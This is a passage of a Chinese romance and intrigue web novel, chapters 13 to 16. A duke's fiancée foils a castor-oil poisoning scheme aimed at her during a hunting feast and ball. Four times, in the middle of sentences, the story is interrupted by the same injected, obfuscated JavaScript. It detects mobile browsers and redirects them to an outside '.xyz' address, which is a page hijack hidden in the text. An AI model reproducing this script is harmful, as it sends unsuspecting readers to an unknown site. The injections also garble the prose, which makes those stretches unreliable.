笼子里的小野兔就这么晃来晃去，眼看就要眼冒金星，就见一只手伸了过来，将它拎到半空。 “一只野兔，还不配作为公爵夫人的见面礼。” 海因里希冷哼，随手将兔子递给侍从。 紧跟其后的埃德蒙嗤笑：“如果送灰雁的话，恐怕还不如野兔，起码女士们都爱毛绒绒的小家伙。” “灰雁？你对头狼的想象总是很匮乏。”海因里希眼带嘲讽，往后挥了挥手：“维克托。” 一位戴着金丝玳瑁眼镜、制服扣到顶的年轻男子恭敬上前，而后拍了拍手，八名侍从抬着一只巨大的铁笼，步伐整齐地走来。 笼子里，一只白色斑点小鹿睁着懵懂大眼睛，打量周围。它的头顶戴着一圈花环，胸前佩戴白色花朵丝带，显得十分可怜可爱。 众人的视线都被吸引。 “噢我的天，那是…黇鹿？！” “公爵大人捕获了黇鹿？！噢！这可是皇家森林都难以找到的珍稀动物！” …… 以文森特为首的贵族们向薇奥莱特祝贺：“恭喜您和公爵大人，这对于查尔维斯来说是吉兆！黇鹿十分珍贵，谁能猎到它，就是本局的无冕之王！” 说着他还俏皮的眨眼，“就是可怜的埃德蒙要失望了，红山鸡还不足以与黇鹿媲美！” 众人善意哄笑，连薇奥莱特也热情高涨：“好极了！吩咐下去，今天晚上举办舞会，庆贺查尔维斯大喜！” “棒极了！” 欢呼声不绝于耳，海因里希神色如常，胜利于他而言就跟喝水一样简单。 然而埃德蒙的脸色却在一声声的祝贺中渐渐暗沉。侍从问他是否还需要将为红山鸡戴上象征捕猎冠军的花环，被他一巴掌扇倒在地：“滚！” 路易莎立刻拉住他的手，低声：“不，别失态，埃德蒙。” 热闹不属于失败者，胜者更不会给予前者任何眼神。 海因里希显然是傲慢的胜者。 人群中央，他招手吩咐侍从打开笼子。 伊莎贝尔这才发现，小鹿脚上戴着镣铐，懵懂的眼睛里充满无助。 下一刻，海因里希挡住她的视线，语气如自我介绍一般傲慢。 “黇鹿属于你了。”像丢弃什么廉价的东西，他将小鹿头顶的花环抛给她，“奥黛丽·诺曼。” 13. 第 13 章 伊莎贝尔在起哄声中接过花环。 但她并不认为这是海因里希对“公爵夫人”这一身份的认可。 果然，年轻的公爵眸光带着审视，压低声音说，“希望你能将好运延续到，真正戴上公爵夫人冠冕的时刻。” 说完，他吹了声口哨，马蹄声由远及近。 海因里希骑上马，最后扔下一句话：“弱者无法在查尔维斯生存，这是送你的忠告，诺曼小姐。” - 夜幕降临，众人回到主城堡休整。 伊莎贝尔暂时被安排在客房，艾米丽要与斯宾塞家的佣人同住。当然，为了保证自家小女仆的安全，伊莎贝尔先把人叫进来嘱咐几句。 “听着，在彻底了解查尔维斯的情况之前，要多听多看，谨言慎行。有任何可疑的事情，都要跟我说。” 艾米丽郑重点头：“我明白，小姐。” 伊莎贝尔欣慰地拍拍她的头。 小姑娘年纪不大，和奥黛丽一样天真烂漫，但十分忠诚听话。看到她，就好像看到奥蒂。 艾米丽领命去了，作为新加入的女仆，她需要跟随公爵府女管家学习规矩。 房间里，只剩伊莎贝尔陷入沉思。 她不觉得海因里希的忠告是无用之谈，死去的四位未婚妻就是最好的例子。 表面上看，路易莎和埃德蒙是再明显不过的对手。接触一天下来，他们的坏心眼威力有限，似乎很好对付。 伊莎贝尔却不会因此掉以轻心。 反过来想，如果一对愚蠢的夫妻就能暗害四位出身名门、来头不小的贵女，事后还能摆脱嫌疑，更说明背后的水很深。 来之前，玛丽姨妈透露过公爵府的背景。 薇奥莱特夫人的丈夫、海因里希和埃德蒙的爷爷——弗雷德里克·斯宾塞是上一任公爵。 老爷子膝下有两个儿子，分别是海因里希和埃德蒙的父亲：路德维希·斯宾塞以及乔伊斯·斯宾塞。 按照锡兰公国继承法，爵位与庄园财产都由长子一脉继承。海因里希的父亲路德维希是第一顺位继承人，而海因里希排第二，其后才轮到埃德蒙的父亲以及埃德蒙本人。 变故就在五年前发生。 当时，锡兰公国对赫斯兰帝国发动第三次战争，弗雷德里克作为锡兰元帅领兵出征。 海因里希的父亲——路德维希，从小作为公爵继承人长大，内敛谦逊、骁勇善战，是个十足标准的锡兰贵族。他自请跟随父亲出征，立下不少军功。 就在父子俩得胜归来的前夕，突然传来战死的消息。 赫斯兰帝国已经准备宣布投降，但有狂热的战争分子不甘心战败，对锡兰公国进行伏击，载着斯宾塞父子俩的马车被炸毁。 噩耗传至查尔维斯，几乎是同一时间，年仅十八岁的海因里希只身奔赴前线，接过祖父和父亲的指挥权，再次与赫斯兰人作战。 对方还沉浸在锡兰痛失帝国双壁的喜悦中，士气高涨，连投降的诏书都收了起来，十分有信心反败为胜。 不料，新来的斯宾塞先生和他长辈的作战风格截然不同。那股不要命的疯劲儿，比坚船利炮还要恐怖。 也许是失去亲人的哀伤让年轻的统帅彻底愤怒，又或是斯宾塞家族血液里的好战基因被激发，总之，持续三个月的海上战役结束后，海因里希被赫斯兰人称为撒旦统帅。 这一次，投降书毫无疑问呈递到了锡兰女王的案头。 胜利后，按照元帅弗兰德里克曾留下的遗嘱，士兵们将他与路德维希的骨灰洒向大海，永远守护着锡兰公国的海域，如同帝国双壁还活着时那样。 故事进行到这里，波折再次发生。 王师凯旋的路上，海因里希被刺杀，身边的护卫悉数死亡，遗体也不知所踪。消息传到查尔维斯庄园，老夫人薇奥莱特接连遭受打击，差点跟着去了。 苦寻数月无果，只好确认海因里希身亡。悼念仪式由第三顺位继承人，公爵次子、埃德蒙的父亲乔伊斯主持。 同一天，乔伊斯还将承袭爵位。 当天，锡兰公国几乎所有上流贵族都出席了仪式。女王莅临默哀，教皇亲自祷告。 斯宾塞家族替国出征，一场战役里牺牲祖孙三代人，无疑令人痛心。 乔伊斯涕泪涟涟，从女王手中接过斯宾塞家族权杖，又戴上公爵冠冕。就在念宣誓词的那一刻，失踪数月的海因里希再次出现。 没人有知道海因里希累累伤痕是哪里来的，所有人只是震惊于他的出现，然后眼睁睁地看着他，堂而皇之地夺过叔叔的权杖和冠冕，以优先级更高的身份继承爵位。 举凡贵族秘辛，除了众人目睹的情形之外，总有些谣传或是不可考的部分。 比如，听说海因里希自从回来就病了，精神异常，极易暴怒，还在发病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902050|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间杀了一个为他驱邪的牧师，这在信教氛围极其浓厚的锡兰公国是很不可思议的事情。 即便他是公爵，也不能犯下这等滔天大罪。 查尔维斯庄园口风很紧，所以外界对此只有谣传，并没有确切证据。 再比如，乔伊斯在某一个夜晚突然暴毙，第二天被儿子埃德蒙发现。据说有人看见头天晚上，海因里希从乔伊斯的房间出去。 自此，埃德蒙与海因里希势同水火。 根据这些拼凑的信息，伊莎贝尔基本推断，这就是因为爵位引发的兄弟阋墙、手足相残事件。 父亲和哥哥死后，乔伊斯为争夺继承权，暗杀侄子。结果袭爵当天，大难不死的侄子再次出现，不仅抢回了爵位，还把乔伊斯弄死。 至于老公爵父子俩的死，是阴谋还是意外？海因里希战后归来发疯是否真的杀死牧师？乔伊斯暴毙究竟是不是海因里希所为，这些暂时还不能得出结果。 不过埃德蒙显然已经将堂哥海因里希视为杀父仇人。而且从利益上看，海因里希没有儿子，他如果意外身亡，爵位就会落在埃德蒙头上。不管哪个方面出发，埃德蒙都有弄死海因里希的理由。 唯一值得让伊莎贝尔细想的是……他们如此公然对抗，祖母薇奥莱特夫人当真蒙在鼓里？还是说，她什么都明白，任由他们相争，是另有考量？ 伊莎贝尔不相信出身贵族的老夫人真像看上去那样糊涂，就像路易莎嫁进公爵府，绝不只是因为对埃德蒙的爱。 伊莎贝尔用羽毛笔整理所有信息，再将纸张靠近火源，然后付之一炬。 冰蓝色眼眸里倒映着火光，她轻轻敲击着桌面，这是她思考时的惯用动作。 说白了，斯宾塞家的爱恨情仇与她无关。她要做的是，兵来将挡水来土掩。拆分一个又一个的小难题，线索越来越多，真相自然浮出水面。 例如此刻，她要应对的不是高深的陷阱，而是路易莎即将抛出的小麻烦。 等她解决了，难度自然升级，就像前世玩游戏打怪一样。 想至此，门适时被敲响。 “诺曼小姐，晚宴即将开始，路易莎太太派我把礼服送来了。” 伊莎贝尔眸光微动，整理好书桌才去开门。 “谢谢。” 门外，悠扬的音乐从楼下大厅传来。 一场注定不平静的晚宴，等待着她的亮相。 14. 第 14 章 “当”的一声，茶杯摔得四分五裂。 埃德蒙眼眶通红，暴怒地砸着视野范围内的一切陈设。 金钱与尊严同时摔得粉碎。 路易莎坐在一旁梳妆，神情悠闲，甚至还招呼女仆别过去，先等等。似乎对眼前的情景见怪不怪。 愤怒渐渐消散，梳妆镜里倒映着沉默沮丧的男人，路易莎一面试耳环，一面示意女仆出去。 “埃德，我说过无数次，愤怒无法解决任何问题。” “但能获得一时痛快。”埃德蒙自嘲。 “噢！别这样，亲爱的。”路易莎声音软了下来，上前抱住埃德蒙，“只是输了一场捕猎罢了。” “可我想赢过海因！哪怕一次！”埃德蒙眼底怒火灼烧，拳头攥紧，“我恨他！恨到想把他撕碎！” “别心急，埃德。”路易莎抚摸着他的脸，柔声劝慰，“武力赢得的胜利只能维持一时的荣光，只有等你继承爵位那一天，整个查尔维斯甚至锡兰公国，都会向你致敬。” “谢谢你的宽慰，亲爱的。”埃德蒙吻了吻她的手背，眸光流露出愧疚，“抱歉，我不该在你面前失态。当初如果不是发生那件事，你该嫁给海因当名正言顺的公爵夫人，而不是跟着我走弯路。” “不，不！埃德。”路易莎抱住他，两人接了一个绵长的吻，“嫁给你我从不后悔。” 夫妻俩温存片刻，突然想起心头大患。 “说起来，这位诺曼小姐有些出乎我的意料。”路易莎若有所思，“当初，是贾维斯爵士说诺曼家的女儿愚钝不堪，在克劳伦伯爵的社交舞会上出尽洋相，现在看来，她也不是一无是处。” “何止这些？”埃德蒙冷笑，“安德鲁这个废物告诉我，公爵府带过去的聘礼，通通被这个丫头留了下来。” “看来是我们掉以轻心了。”路易莎缓缓道，“当初如果不是看她出身低微，我绝不会给她机会踏进查尔维斯。” “现在弥补也不晚。”他顿了顿，眸中闪过阴狠，搂住路易莎轻声道：“还记得从前四位倒霉的未婚妻，是怎么消失的吗？” “不，还没到这一步。” 埃德蒙盯着爱妻的眼睛：“你想怎么做？” “一个破落男爵的女儿罢了，有的是机会让她出丑。”路易莎轻笑，眸光微动，“只要祖母不信任她，管家权就依然在我手里，查尔维斯的无冕之王还是我们。” 埃德蒙挑眉：“你已经动手了？” 路易莎在全身镜前转了一个圈，优雅地挥动着扇子。 “今晚的宴会，等着看好戏吧。” - 同一时间。 “谢谢。” 伊莎贝尔从女仆手中接过礼服和饰品。 艾米丽紧跟上楼，挥退女仆，替伊莎贝尔更衣。 她倒没有立刻行动，而是学以致用，先仔细检查一番。 伊莎贝尔面露赞赏：“学得很快，艾米丽。” 艾米丽得意一笑，越发用心，甚至像猎犬似的闻一闻。 “这太奇怪了！”艾米丽嘟囔，“我以为会藏着什么荨麻草啦、使人头晕的药啦，可是衣服里什么都没有！” 伊莎贝尔看向衣架上华丽的丝绸长裙，若有所思。 “难道是我们多心了？”艾米丽疑惑。 伊莎贝尔随手拿起托盘上的折扇轻摇，轻笑：“如此绝佳的场合，她怎么会放过呢？假如是我，一定只会在私人物品上动手脚，否则会容易误伤他人。所以……是什么呢？” 衣服？鞋子？首饰？ 冰蓝色的眼睛滑过浅浅眸光。 忽然，鼻尖闻到一缕清香。 如果不仔细闻，还真发现不了。因为它融入了普通的香气里，遮盖了本身的特殊味道。 伊莎贝尔动作一顿，缓缓垂眸，看向手里的扇子。 - 晚宴即将开始。 查尔维斯主城堡金碧辉煌，大厅穹顶之上，百年前的壁画仍然精美绝伦，历史的厚重与贵族的奢华扑面而来。 仆人穿着统一制服，行走时静谧无声、井然有序。 大理石长餐桌上摆满各色玫瑰与绣球，繁复美丽的水晶烛台点缀其间。银质餐具由资深的锡兰管家按照贵族礼仪摆放，以餐盘为中心，左叉右刀，刀刃朝内，叉齿向上。甜点匙必须横放，手柄朝右。所有宾客一应如是。 假如有哪位野蛮人误闯天家，从用餐礼仪便可分辨。 奇怪的是，也没人追究，吃个饭为什么要用尺子测量餐具相隔的位置究竟误差几厘米。好像数字越精确，他们在贵族圈里的地位就越不可动摇。 这使得大家必须使出浑身解数，面对吃饭这件轻松小事。 整七点，宾客陆续抵达。 薇奥莱特换了一件暗金色晚宴礼服，搭同色丝绸披肩。 海因里希一改下午的落拓不羁，换上正式黑礼服，胸前挂着银链怀表，手持乌木手杖。显得贵气逼人，有真正的公爵风范。 祖孙俩在大厅相遇，海因里希弯曲胳膊示意，薇奥莱特顺势挽住，一边走一边挑眉道：“但愿你的未婚妻今晚表现得体，这可是她第一次参加查尔维斯晚宴，虽然来的人不多。” 说话间，海因里希抬眸，恰好看见伊莎贝尔缓缓下楼。 和白天低调的蓝装扮不同。女仆送来的的鹅黄色克里诺林裙花纹繁复精致，蕾丝与刺绣恰到好处地交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902051|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融，衬得伊莎贝尔光彩照人。 “噢。”薇奥莱特平静地发出感叹，“看起来还不错。” “一般。”海因里希漠然点评。 但眼睛却注视着逐渐走近的女人，直到冰蓝色的眼睛看向自己前，才移开视线。 “薇奥莱特夫人。” 伊莎贝尔向薇奥莱特颔首行礼，她没空理会公爵先生的评价。此刻，她不着痕迹地打量刚进来的路易莎。而对方也是如此。 隔着众多宾客，二人视线接触，彼此含笑示意。 路易莎看见伊莎贝尔掩面的折扇，笑意越发真诚。 不多时，宾客开始入席。 伊莎贝尔的左边是海因里希，右边是白天见过的文森特伯爵。 “诺曼小姐，晚上好。”文森特俏皮地眨眼，“恐怕今晚我的脑袋要向左落枕了，希望海因不要介意。” 伊莎贝尔莞尔：“任何人面对您幽默的恭维都会喜笑颜开，我想公爵乐意见到未婚妻光鲜亮丽、受人追捧。” 文森特被逗笑：“老实说，你和传闻略有不同。” 仆人开始上菜，热闹的交谈还在继续。 通常来说，相邻的客人总要没话找话，聊上一整晚，以示礼貌。好在隔壁是海因里希，伊莎贝尔不用花心思照顾他，只需要对付文森特。 “是吗？突然发现洛森郡的村姑还算得体？”伊莎贝尔一面谈笑，一面注意着仆人端来面前的食物。 仆人：“杏仁奶油塔，我端着，您可随意取用。” “谢谢。”伊莎贝尔道谢，举起刀叉。 同一时刻，几道若有似无的目光胶着在她身上，好像在研判刀叉有没有滑动餐盘，发出刺耳的声响。 伊莎贝尔恍若不觉，自然地用餐，顺便与文森特说话。 直到看见她吃了食物，视线同时消失。 显而易见，有的来自“贵族礼仪小警察”、有的则来自餐桌对面，那位心怀鬼胎的路易莎。 见她吃了奶油塔，路易莎满意一笑，终于安心吃饭。 晚饭接近尾声，很快要开启舞会，众人逐渐离席。 文森特离开，伊莎贝尔也准备起身。忽然，右边传来男人的冷哼：“是我提醒的还不够吗？猎人已经设置陷阱，你不去排查，还大吃大喝，跟文森特那个傻老帽聊一整晚？” 伊莎贝尔心中发笑，余光瞥见路易莎向自己走来。 “诺曼小姐，今晚的第一支舞，应该由你和海因开场才对。” 话音刚落，只见伊莎贝尔眉头一皱，发出痛呼，倒在了海因里希肩上。 “啊！好痛！”她捂住腹部。 海因里希猛然皱眉：“奥黛丽？！” 15. 第 15 章 路易莎掩饰内心的雀跃，状似关心：“噢！我的天！这是怎么了？诺曼小姐你还好吗？” “滚开！”海因里希一把推开路易莎，打横抱起伊莎贝尔：“维克托，叫医生过来！” 突然，“昏迷”的伊莎贝尔把眼睛睁开一条缝，手肘戳了戳结实的胸膛。 暴怒的海因里希：“？” 在人群围过来之前，伊莎贝尔又恢复昏迷，闭着眼睛。 海因里希木着脸：“……” 薇奥莱特拄着手杖走来，皱眉问：“奥黛丽怎么了？” 路易莎：“奶奶，别担心，应该只是吃坏了东西。” 薇奥莱特不免有些抱怨：“噢！但愿派翠特厨娘别听见这句话，大家都吃的同样的东西，怎么她就有事？” 嘴上抱怨着，还是吩咐：“叫医生了吗？” 公爵男仆维克托正要行动，海因里希忽然开口：“不用叫了，我带她去休息一下。” 舞会即将开始，众人只是略作关心，料想没多大事。 关上休息室的门，海因里希表情阴沉，一回头，果然看见本该昏迷的伊莎贝尔女士，好端端地坐了起来，表情悠闲，还端着咖啡喝。 “到底怎么回事？奥黛丽·诺曼。” 直呼其名，看来气得不轻。 伊莎贝尔淡淡道：“古法典有句话叫，以牙还牙，以眼还眼。现在正是应验的时候。” 海因里希皱眉，还没开口，门被敲响。 “嘘！她来了。”伊莎贝尔眸光微动，重新躺回床上作虚弱状，“你先走吧，谢谢你，斯宾塞先生。” 海因里希重重冷哼，起身开门，见到路易莎，更是没什么好脸色，摔门而去。 “好些了吗？奥黛丽。”路易莎直奔伊莎贝尔床边。 伊莎贝尔挤出微笑，沙哑道：“肚子突然很疼，身上好像过敏，又红又肿，很痒，这恐怕要让我在舞会上失态，请帮向薇奥莱特夫人解释好吗？想必她会谅解。” 路易莎眼珠一转，忽然叹了口气：“这是你第一次出席舞会，如果失约，恐怕接连半个月的社交场合都会成为她们的谈资。” “这样吗？可是……”伊莎贝尔状似苦恼，突然抓挠脖子，喉咙也不舒服，“咳咳咳……我是真的不舒服了……帮我递杯水好吗，路易莎？” 路易莎审视着她被挠红的脖子，眼里暗藏不住的得意。 心情一好，便放下扇子，倒了一杯水，“慢点喝。” 伊莎贝尔喝完水，脸色好转。 路易莎：“你觉得怎么样？能动吗？” 伊莎贝尔轻叹一口气，微笑：“好些了，我整理一下头发，马上就去。” “不急，我等你吧。”路易莎体贴入微，决心要亲自把她押去舞会。 伊莎贝尔对着镜子整理碎发，里面倒映着路易莎的脸。 冰蓝色的眼睛划过冷意。 已经给过退路了，这是你自找的。路易莎。 - 舞厅乐声悠扬，往来宾客穿梭。 斯宾塞家的两位女士再度出现，引得众人关切。 伊莎贝尔接连感谢关心，而后被路易莎带到舞池中央。 “今天的第一首华尔兹，应该由诺曼小姐和海因共舞，你们说对吗？” 众人起哄：“迫不及待了！” “棒极了！别害羞，诺曼小姐。” 薇奥莱特坐着嘟囔：“噢！但愿男爵家的女儿学过跳舞，否则可丢大人了。” 乐团很有眼力劲儿，不等人同意，就将欢快的俚尔群舞曲，切换成优雅华尔兹。活泼的年轻男女们让开场地，将目光聚焦在伊莎贝尔和海因里希身上。 海因里希这点绅士礼仪还是有的，配合地给出邀请的手势。 “你可以吗？”他眼神睥睨，带着几分不耐，“我不喜欢跳舞，你别勉强自己，更别勉强我。” 伊莎贝尔很诧异：“噢，十分遗憾地发现公爵大人拥有把好话说成坏话的本事，向你祝贺，向我默哀。” 但此刻不是和海因里希辩论的时候，她目光一转，看向路易莎，举起香槟递给埃德蒙：“不邀请你美丽的妻子路易莎，一起加入我们吗？” “先生们，女士们。”又看向众人，“热闹属于所有人，请一起共舞吧。” 说罢，她从路过的侍从手里端起香槟一饮而尽。 文森特第一个响应：“好极了！我正想一展舞姿，把海因比下去！猎场得意的小子，可不见得舞场得意！” 众人哄笑起来。 埃德蒙见状，原本还犹豫地端着酒杯，此刻也爽快地一饮而尽，牵着路易莎下场，“来吧，亲爱的，别让风头属于海因。” 钢琴声响起，第一个音符流泻指尖，盘旋在空中。 华服美人名利场，优雅的绅士与小姐们跟随音乐旋转，各色裙摆开出不同却美丽的花。 擦过伊莎贝尔的鹅黄裙摆，路易莎冷笑，低声道：“很快就有好戏了，埃德蒙。” “万分期待。”埃德蒙冷笑。 篦麻精油神不知鬼不觉地混入扇香里，单闻无伤大雅，但如果配合奶油食用，将会腹痛、继而浑身起红疹，状似可怕的瘟疫。 这足以搞砸未来公爵夫人的第一次亮相，还能顺便传播瘟疫流言，让其他贵族舞会将她拒之门外。更别说一向视脸面如性命的薇奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902052|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱特夫人，路易莎甚至可以想象老太太白眼一翻，尖叫着喊嗅盐的样子。 那一定精彩至极！ 路易莎暗笑。 褐色瞳孔盯着那道鹅黄身影，她旋转，绕圈。 一秒、两秒、三秒…… 从她用餐结束腹痛开始计算，已经快到药效发作的十分钟界限。 路易莎默默倒数，心中得意的情绪越扩越大。 不是仗着小聪明躲过难堪吗？不是志得意满抢走所有聘礼吗？奥黛丽·诺曼？一个卑微男爵家的愚蠢小姐，也配在查尔维斯耍心眼？ 这一天，会让你永生难忘！ 像是心有灵犀，倒数结束的那一刻，舞池里的鹅黄身影突然对上路易莎的视线，甚至还露出悠然的笑。 一瞬间，路易莎察觉不对。 怎么还没发作？ 再等等…… 一分钟、两分钟…… 伊莎贝尔若无其事，仍在跳舞。 路易莎掌心开始冒汗，分不清是计划出现意外的忐忑，还是身体真的不适。 埃德蒙：“亲爱的，你怎么脸色苍白？” 路易莎深吸一口气，正要开口…… 突然！她脸色巨变！ “等等！埃德蒙！”路易莎声音颤抖，豆大的汗珠从额角滑落，“不对劲！不对！快！快扶我去休息室！” “什么？！” “来不及了！快！”路易莎低喝，声音突然卡在喉咙口，僵在原地。 她感受到腹痛如绞，红疹开始从脖子开始蔓延，难以言喻地瘙痒让她无法自控，一道又一道地指甲印恨不得挠破皮肤…… 埃德蒙缓缓瞪大眼睛，就在这一刻，他脸色一变，同样弯曲着身体，捂着肚子。 “啊！好痛！” 红疹在男人苍白的皮肤上更为明显，几乎一瞬间爬满全身，痒得他快发疯！ 以夫妻俩为圆心，周围渐渐有人回头，露出难以置信的神情…… “噢！上帝啊！埃德蒙？路易莎？！” “天哪？快看他们的脸！那是什么？！” “哦不！难道是瘟疫？！快叫医生！快！” “糟糕透顶！怎么参加个晚宴会遇到这么倒霉的事！上帝保佑，别传染我！” …… 路易莎的记忆停在原地，连同她和埃德蒙扭曲的身体。 此后发生的事情，如同哥特式小说般光怪陆离。唯一记得的，是薇奥莱特女士急着喊嗅盐的尖叫，以及震惊的人群里，那双平静的冰蓝色眼睛。 奥黛丽·诺曼？！ 很好！好极了！的确是……永、生、难、忘、的、一、天！ 16. 第 16 章 路易莎和埃德蒙双双被安置在家庭病房里。 从医生口中得知不是瘟疫，薇奥莱特第一时间将这个消息散播出去，没有让查尔维斯成为叫人避之不及的病毒发源地。 “从今天开始，一切代表斯宾塞的宴会都由奥黛丽去参加！埃德蒙和路易莎需要休息！好好休息！” 薇奥莱特将拐杖敲得砰砰响，整座城堡都被她的愤怒撼动。 “难以想象！一位公爵府少爷和侯爵府千金会发生这种事情！噢！真是弥补了斯宾塞家在丢脸方面的空白！” 能够等到宾客尽散，才开始发火，已经是薇奥莱特老太太的忍耐极限。 路易莎脸上红斑还没消失，戴着蕾丝面纱遮脸。身体虽然虚弱，盯着伊莎贝尔的眼睛却怒火灼灼：“奶奶！这不是意外！一定是有人要害我们！” 纵然她搬起石头砸自己的脚，但对手也别想好过！ 埃德蒙恨声：“对！这件事一定要查到底！” 伊莎贝尔和海因里希站在角落。 闻言，海因里希看了她一眼，冷哼道：“看来是我小瞧了你。” 伊莎贝尔轻摇羽毛扇，但笑不语。 精美的蔷薇花纹刺绣羽毛扇，在烛光下折射出亮眼的光芒。 当然，这不是路易莎派女仆送过来的那一把。 掺了篦麻精油香氛的扇子，在路易莎来到休息室，帮她端水的那一刻，就被替换了。 路易莎精心调配的药剂，回到了自己的手里，以及丈夫埃德蒙喝下的那杯香槟里。 看着伊莎贝尔悠然的神情，海因里希便知道，她并不需要自己的援助。 哼，不要就不要！ 他冷笑。 在确定她是否能在查尔维斯站稳脚跟之前，他绝不会插手帮她，哪怕一次。 这么想着，一抬眼，就看见路易莎眼底的仇恨快把伊莎贝尔灼穿，埃德蒙更是拧紧拳头，脸色铁青。 看着身边浑然不知危险降临的瘦弱女人，海因里希即将抬起的脚还是放下，站在伊莎贝尔身后，冷冰冰地把埃德蒙瞪了回去。 可惜伊莎贝尔脑后没长眼睛，不知道男人会在一秒钟内流转这么多复杂心思。 不过她并非对危险一无所知，相反，是胸有成竹。 薇奥莱特夫人虽然不信路易莎的话，却必须做出交代：“说清楚！谁要害你？拿出证据来！否则传出去，仆人都要背后笑话我们这乱糟糟的一家！” 伊莎贝尔心想，别否则了，斯宾塞家乱糟糟的名声早就传到千里之外了。 路易莎：“是奥黛丽！她把混合了蓖麻精油的扇子给了我！是她害我！” 薇奥莱特皱眉，看向伊莎贝尔：“怎么回事？！” 伊莎贝尔摊手：“我不明白，我的衣服和扇子都是由路易莎派人送来的。” 路易莎：“是我在帮你端水的时候，你把我的扇子替换了！你在里面掺了蓖麻精油！” 薇奥莱特眸光一凝。 乔治医生刚才的诊断结果，正是蓖麻精油混合奶油食物中毒。 伊莎贝尔面色不变，心中叹气。 路易莎如果穿越到东方后宫，恐怕连一集都活不过。 “你有没有想过，我第一天才来，怎么做到准备好蓖麻精油，安排晚餐里的奶油塔，再给扇子熏香？”伊莎贝尔耸肩，“众所周知，我可没有管理家仆的权力。” 路易莎张了张嘴，所有争辩都显得无力。 薇奥莱特冷哼一声，“路易莎，假如我是个三岁小孩，你还能骗骗我。很明显，奥黛丽没有陷害你的条件。” “是的，薇奥莱特夫人，我没有。”伊莎贝尔微笑，“但是路易莎倒是有陷害我的资本。” 路易莎脸色一白。 埃德蒙倏然起身：“你胡说什么？！” 海因里希几乎同一时间上前，瞥着埃德蒙：“想动手吗？” 埃德蒙攥紧拳头，恨恨坐下。 伊莎贝尔诧异地看了一眼海因里希，后者狠狠皱眉，翻了个白眼，嫌恶地撇开视线。一副要与她划清界限的样子。 薇奥莱特脸色凝重：“奥黛丽，你指认她害你，证据在哪？” 伊莎贝尔没说话，向后看了一眼。 紧接着，不苟言笑的女仆埃莉诺上前，拿出一叠清单：“夫人，十分钟前，诺曼小姐提醒我查询最近数月的采购清单。其中显示，只有路易莎太太的贴身女仆曾订购大量蓖麻制作精油，且在三天前制作香薰。” 路易莎愣住，和埃德蒙对视一眼，十分诧异。 老太太的贴身女仆最是古板！这个女人才来一天，埃莉诺怎么愿意帮她做事？！ “不！我没有！我不知道什么蓖麻精油！一定是我的女仆背着我做的！奶奶，你相信我！”路易莎嗓音沙哑，“还有你！埃莉诺！你为什么冤枉我？是不是奥黛丽收买了你？！” 埃莉诺面无表情， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902053|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只是陈述事实，路易莎太太。” 伊莎贝尔又叹了口气。 段位实在是……太低了。 她都没想到会这么轻松。一般下毒不都要扫尾吗？ 怎么会有人明牌害人？她本来只是稍微提点一下埃莉诺，没想到十分钟就查出来了。 薇奥莱特：“够了！住口！我相信埃莉诺。路易莎制作蓖麻精油是事实，但这并不能证明有害人之心。这件事到此为止！” 路易莎压下愤恨神情：“是，奶奶。” 伊莎贝尔无视她的目光，轻摇扇子，紧跟着老太太步伐离去。 身后，海因里希微眯着眼，审视着远去的金发背影。 - 闹剧结束，伊莎贝尔正想回房休息，就看见熟悉的高大身影从对面的楼梯上来。 “公爵先生？”她挑眉，依旧闲庭漫步。 海因里希从不废话，大步朝她走来，开门见山：“奥黛丽·诺曼，你的确有几分聪明，但这份聪明会误导你，以为接下来的路会很容易。” 伊莎贝尔蹙眉，盯着他数秒，忽然笑：“你到底想说什么？” “查尔维斯不适合弱者，更不适合自以为能战胜一切的人。”海因里希眼带嘲讽，不知回忆起什么，深色的瞳孔藏着化不开的情绪，“我讨厌弱者，更讨厌有人自作聪明。” 今天的闹剧让他以为，她在炫耀聪明？ “海因里希先生，我是否可以理解为，你根本不喜欢我。”伊莎贝尔挑眉，“所以我聪明也不行，脆弱也不行，假如我真的能够在查尔维斯站稳脚跟，你也不会感到高兴，对吗？” 